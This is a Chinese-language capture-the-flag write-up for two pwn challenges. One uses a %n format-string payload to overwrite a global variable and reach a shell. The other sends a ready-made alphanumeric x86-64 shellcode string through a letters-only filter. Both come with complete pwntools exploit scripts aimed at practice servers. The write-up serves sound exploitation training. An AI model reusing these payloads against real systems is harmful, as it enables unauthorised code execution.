mrctf2020_easy_equation mrctf2020_easy_equation
知识点:
格式符
作用
%x
打印栈上的4字节数据(十六进制)
%s
打印栈上指针指向的字符串
%n
写已打印字符数到对应指针指向的地址
%p
打印指针值(地址)
%d
打印十进制整数
%c
输出一个字符
格式化字符串漏洞修改内存: 通过控制输出字符数来间接修改内存: 利用%n系列占位符的 “输出计数写入” 特性,通过控制输出的字符总数,间接将目标值写入指定内存地址。 这种 “间接性” 是由格式化函数的设计决定的,也是漏洞利用的核心技巧 —— 攻击者需要精确计算输出字符数,才能让%n写入预期的值。 (不是直接修改数值)
%c :输出一个字符。
%n :将当前已输出的字符总数写入指定地址。
%k$hn :将字符总数写入第 k 个参数指向的地址(hn 表示写入 2 字节)。
准备 64位,开了 NX
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 int __fastcall main(int argc, const char **argv, const char **envp) { char s; // [rsp+Fh] [rbp-1h] BYREF memset(&s, 0, 0x400uLL); fgets(&s, 1023, stdin); printf(&s); if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 ) system("exec /bin/sh"); return 0; }
开头有一个输入,存在格式化字符串漏洞 下面有一个 if 判断,判断的条件是 11*judge²+17*judge⁴-13*judge³-7*judge 是否等于 198 等于时,有直接的连接点
思路: 这里当 judge=2 时,满足 if 判断 所以我们要利用格式化字符串修改 judge 参数的值为 2 先获得偏移(写入地址) 参数位置为7,若要输入完整的地址,还需在填充一个偏移,写在第 8 个参数上 在获取 judge 参数的地址 judge 参数的地址为 0x60105C 最后构造 payload ,这里给几个都可以的 payload
1 2 3 4 5 judge=0x60105C payload = b'a'+b'%1c%9$na'+p64(judge) # payload = b'a'+b'a%9$naaa'+p64(judge) # payload = b'aa%9$naaa'+p64(judge) io.sendline(payload)
参数说明(以第一个为例): 首先填充一个偏移, b'a' 写在第 7 个参数位置上 然后格式化字符串修改内存是通过写入字符数,来控制目标值的写入 考虑前面已经填充的一个字节,这里我们只用再写入一个字节,就可以达到目标值 2 写入一个字节的方式直接的 a 或者 %1c%9$n 是取栈第 9 个参数当地址,把当前输出字符总数( 2 )写到这个地址 这里: b'a' 第 7 个参数,b'%1c%9$na' 第 8 个参数,p64(judge) 第 9 个参数%9$n 后面的 a 是填充,64位程序一个地址 8 字节,填充使得 b'%1c%9$na' 这里有8字节,p64(judge) 完整的地址在第 9 个参数
脚本 1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(os='linux',log_level = 'debug') # io=remote('node4.anna.nssctf.cn',28244) io= process('/home/motaly/eq') judge=0x60105C payload = b'a'+b'%1c%9$na'+p64(judge) # payload = b'a'+b'a%9$naaa'+p64(judge) # payload = b'aa%9$naaa'+p64(judge) io.sendline(payload) io.interactive()
mrctf2020_shellcode_revenge picoctf_2018_shellcode
准备 64 位,开了 PIE 保护
分析 main函数 反编译的时候发现问题,反编译不了 根据提示修改 124D 的汇编 (改为 nop 自认为看函数影响不大) 然后反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[1032]; // [rsp+0h] [rbp-410h] BYREF int i_1; // [rsp+408h] [rbp-8h] int i; // [rsp+40Ch] [rbp-4h] write(1, "Show me your magic!\n", 0x14uLL); i_1 = read(0, buf, 0x400uLL); if ( i_1 <= 0 ) return 0; for ( i = 0; i < i_1; ++i ) { if ( ((char)buf[i] <= 96 || (char)buf[i] > 122) && ((char)buf[i] <= 64 || (char)buf[i] > 90) && ((char)buf[i] <= 47 || (char)buf[i] > 90) ) { printf("I Can't Read This!"); return 0; } } return 0; }
有 read 函数,读取输入最大 1024(0x400) 个字节到 buf , buf 大小为 1032,不存在缓冲区溢出 下面用 for 循环限制输入为大小写字母
思路 这题没开 NX 保护且输入可用空间够大,所以可以直接写入 shellcode 但这里限制了输入为大小写字母,所以用可见字符的 shellcode
1 2 3 io.recvuntil(b'Show me your magic!') shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' io.send(shellcode)
注意:发送的时候不能加换行,会加上 \n 符号,影响输入的 shellcode
脚本 1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(os='linux',log_level='debug',arch='amd64') io=remote('node5.buuoj.cn',27966) # io= process('/home/motaly/sr') elf=ELF('/home/motaly/sr') io.recvuntil(b'Show me your magic!') shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' io.send(shellcode) io.interactive()